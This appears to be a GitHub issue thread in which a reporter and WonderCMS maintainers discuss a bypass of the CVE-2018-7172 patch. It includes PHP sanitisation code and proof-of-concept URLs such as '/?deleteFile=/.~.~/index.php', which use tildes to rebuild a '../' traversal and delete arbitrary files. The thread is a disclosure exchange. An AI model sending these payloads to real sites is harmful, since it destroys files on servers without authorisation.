CVE-2018-7172 Patch bypass

[ASDWQad]

deleteFileThemePluginAction()
$filename = isset($_REQUEST[$request]) ? str_ireplace(['./', '../', '..', '', '/'], null, trim($_REQUEST[$request])) : false;

$file="as/../as.php";
$a=str_ireplace(['./', '../', '..', '', '/'], null, trim($file));
var_dump($a); //string(8) "as/../as.php"

[robiso]

This was already fixed some time ago with: (realpath).
64efdc4

Can you please provide bit of explanation on why you think this fix is necessary or still think bypassing is possible?
Possibly a PoC?

[ASDWQad]

Well! Maybe I said is not very detailed.Updated patch can still be bypassed.

list($folder, $request) = $entry;
$filename = isset($_REQUEST[$request]) ? str_ireplace(['./', '../', '..', '~', '~/'], null, trim($_REQUEST[$request])) : false;
if (!$filename || empty($filename)) {
    continue;
}
if ($filename == wCMS::get('config', 'theme')) {
	wCMS::alert('danger', 'Cannot delete currently active theme.');
	wCMS::redirect();
	continue;
}
var_dump("{$folder}/{$filename}");die;

Poc: /?deleteFile=/../index.php&token=343e9fd453a9d9895a2c9f616426fb190233ed164ba99d2a1d3bac5a434f165f

var_dump function info:

string 'D:\xampp\htdocs\wondercms/files//../index.php' (length=45)

[ASDWQad]

Well! Maybe I said is not very detailed.Updated patch can still be bypassed.
list($folder, $request) = $entry;
$filename = isset($_REQUEST[$request]) ? str_ireplace(['./', '../', '..', '', '/'], null, trim($_REQUEST[$request])) : false;
if (!$filename || empty($filename)) {
continue;
}
if ($filename == wCMS::get('config', 'theme')) {
wCMS::alert('danger', 'Cannot delete currently active theme.');
wCMS::redirect();
continue;
}
var_dump("{$folder}/{$filename}");die;

Poc: /?deleteFile=/../index.php&token=343e9fd453a9d9895a2c9f616426fb190233ed164ba99d2a1d3bac5a434f165f

var_dump function info:

string 'D:\xampp\htdocs\wondercms/files//../index.php' (length=45)

[ASDWQad]

Well! Maybe I said is not very detailed.Updated patch can still be bypassed.
list($folder, $request) = $entry;
$filename = isset($_REQUEST[$request]) ? str_ireplace(['./', '../', '..', '', '/'], null, trim($_REQUEST[$request])) : false;
if (!$filename || empty($filename)) {
continue;
}
if ($filename == wCMS::get('config', 'theme')) {
wCMS::alert('danger', 'Cannot delete currently active theme.');
wCMS::redirect();
continue;
}
var_dump("{$folder}/{$filename}");die;

Poc: /?deleteFile=/../index.php&token=343e9fd453a9d9895a2c9f616426fb190233ed164ba99d2a1d3bac5a434f165f

var_dump function info:

string 'D:\xampp\htdocs\wondercms/files//../index.php' (length=45)

[ASDWQad]

There are two characters that can't be written. The one above the Tab key.
Here is denoted by A
/.A.A/index.php

[NicolasCARPi]

Hello,

I cannot reproduce the issue on the master branch. Trying this request:

/?deleteFile=/../index.php&token=343e9fd453a9d9895a2c9f616426fb190233ed164ba99d2a1d3bac5a434f165f

(with my token of course), doesn't lead to the index.php file being deleted.

There are two characters that can't be written. The one above the Tab key.

We all have different keyboards, use correct code escaping syntax or give us the ASCII number of this character. For me, above the Tab key I have "$".

[robiso]

@ashesafe, since this can't be reproduced with the given data, can you please provide the ASCII number of the character you've used?

You can use a simple online service such as https://www.browserling.com/tools/text-to-ascii to get the correct ASCII character so we can try to reproduce this again.

[ASDWQad]

ascill 126
Poc: /?deleteFile=/.126.126/index.php&token=343e9fd453a9d9895a2c9f616426fb190233ed164ba99d2a1d3bac5a434f165f

[robiso]

@ashesafe, thank you.

I could now successfully reproduce this with the "tilde" character:
?deleteFile=/.~.~/index2.php&token=792ff832043b345wef345fca9011aaa9e5aa4e042ad7248461

[robiso]

@ashesafe, mind sharing your first/last name and Twitter link?
You'll be added to the WonderCMS contributors wall of fame https://www.wondercms.com/special-contributors and a thanks note in the changelog https://www.wondercms.com/whatsnew once we push an update.

[ASDWQad]

Very thankful.But my English is not good.My name is Ashe and No twitter account.

[robiso]

@ashesafe, do you possibly have a website link? Don't worry about it!

Was the ~ the only character which you could reproduce this? What was the other character you mentioned?

Additionally, can I ask you put the patch you posted as the first comment #124 (comment) in code blocks, so it will display correctly?